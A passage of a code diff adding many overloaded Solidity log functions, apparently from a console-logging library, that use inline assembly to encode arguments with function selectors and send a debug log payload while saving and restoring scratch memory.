+            m8 := mload(0x100)
+            // Selector of `log(string,address,string,address)`.
+            mstore(0x00, 0xaabc9a31)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, 0xc0)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+            writeString(0xe0, p2)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bytes32 p0, address p1, bytes32 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(string,address,string,bool)`.
+            mstore(0x00, 0x5f15d28c)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, 0xc0)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+            writeString(0xe0, p2)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bytes32 p0, address p1, bytes32 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(string,address,string,uint256)`.
+            mstore(0x00, 0x91d1112e)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, 0xc0)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+            writeString(0xe0, p2)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bytes32 p0, address p1, bytes32 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        bytes32 m9;
+        bytes32 m10;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            m9 := mload(0x120)
+            m10 := mload(0x140)
+            // Selector of `log(string,address,string,string)`.
+            mstore(0x00, 0x245986f2)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, 0xc0)
+            mstore(0x80, 0x100)
+            writeString(0xa0, p0)
+            writeString(0xe0, p2)
+            writeString(0x120, p3)
+        }
+        _sendLogPayload(0x1c, 0x144);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+            mstore(0x120, m9)
+            mstore(0x140, m10)
+        }
+    }
+
+    function log(bytes32 p0, bool p1, address p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(string,bool,address,address)`.
+            mstore(0x00, 0x33e9dd1d)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bytes32 p0, bool p1, address p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(string,bool,address,bool)`.
+            mstore(0x00, 0x958c28c6)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bytes32 p0, bool p1, address p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(string,bool,address,uint256)`.
+            mstore(0x00, 0x5d08bb05)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bytes32 p0, bool p1, address p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(string,bool,address,string)`.
+            mstore(0x00, 0x2d8e33a4)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0xc0)
+            writeString(0xa0, p0)
+            writeString(0xe0, p3)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bytes32 p0, bool p1, bool p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(string,bool,bool,address)`.
+            mstore(0x00, 0x7190a529)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bytes32 p0, bool p1, bool p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(string,bool,bool,bool)`.
+            mstore(0x00, 0x895af8c5)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bytes32 p0, bool p1, bool p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(string,bool,bool,uint256)`.
+            mstore(0x00, 0x8e3f78a9)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bytes32 p0, bool p1, bool p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(string,bool,bool,string)`.
+            mstore(0x00, 0x9d22d5dd)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0xc0)
+            writeString(0xa0, p0)
+            writeString(0xe0, p3)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bytes32 p0, bool p1, uint256 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(string,bool,uint256,address)`.
+            mstore(0x00, 0x935e09bf)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bytes32 p0, bool p1, uint256 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(string,bool,uint256,bool)`.
+            mstore(0x00, 0x8af7cf8a)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bytes32 p0, bool p1, uint256 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(string,bool,uint256,uint256)`.
+            mstore(0x00, 0x64b5bb67)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bytes32 p0, bool p1, uint256 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(string,bool,uint256,string)`.
+            mstore(0x00, 0x742d6ee7)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0xc0)
+            writeString(0xa0, p0)
+            writeString(0xe0, p3)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bytes32 p0, bool p1, bytes32 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(string,bool,string,address)`.
+            mstore(0x00, 0xe0625b29)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, 0xc0)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+            writeString(0xe0, p2)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bytes32 p0, bool p1, bytes32 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(string,bool,string,bool)`.
+            mstore(0x00, 0x3f8a701d)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, 0xc0)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+            writeString(0xe0, p2)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bytes32 p0, bool p1, bytes32 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(string,bool,string,uint256)`.
+            mstore(0x00, 0x24f91465)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, 0xc0)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+            writeString(0xe0, p2)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bytes32 p0, bool p1, bytes32 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        bytes32 m9;
+        bytes32 m10;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            m9 := mload(0x120)
+            m10 := mload(0x140)
+            // Selector of `log(string,bool,string,string)`.
+            mstore(0x00, 0xa826caeb)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, 0xc0)
+            mstore(0x80, 0x100)
+            writeString(0xa0, p0)
+            writeString(0xe0, p2)
+            writeString(0x120, p3)
+        }
+        _sendLogPayload(0x1c, 0x144);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+            mstore(0x120, m9)
+            mstore(0x140, m10)
+        }
+    }
+
+    function log(bytes32 p0, uint256 p1, address p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(string,uint256,address,address)`.
+            mstore(0x00, 0x5ea2b7ae)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bytes32 p0, uint256 p1, address p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(string,uint256,address,bool)`.
+            mstore(0x00, 0x82112a42)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bytes32 p0, uint256 p1, address p2, uint256 p3) internal pure {
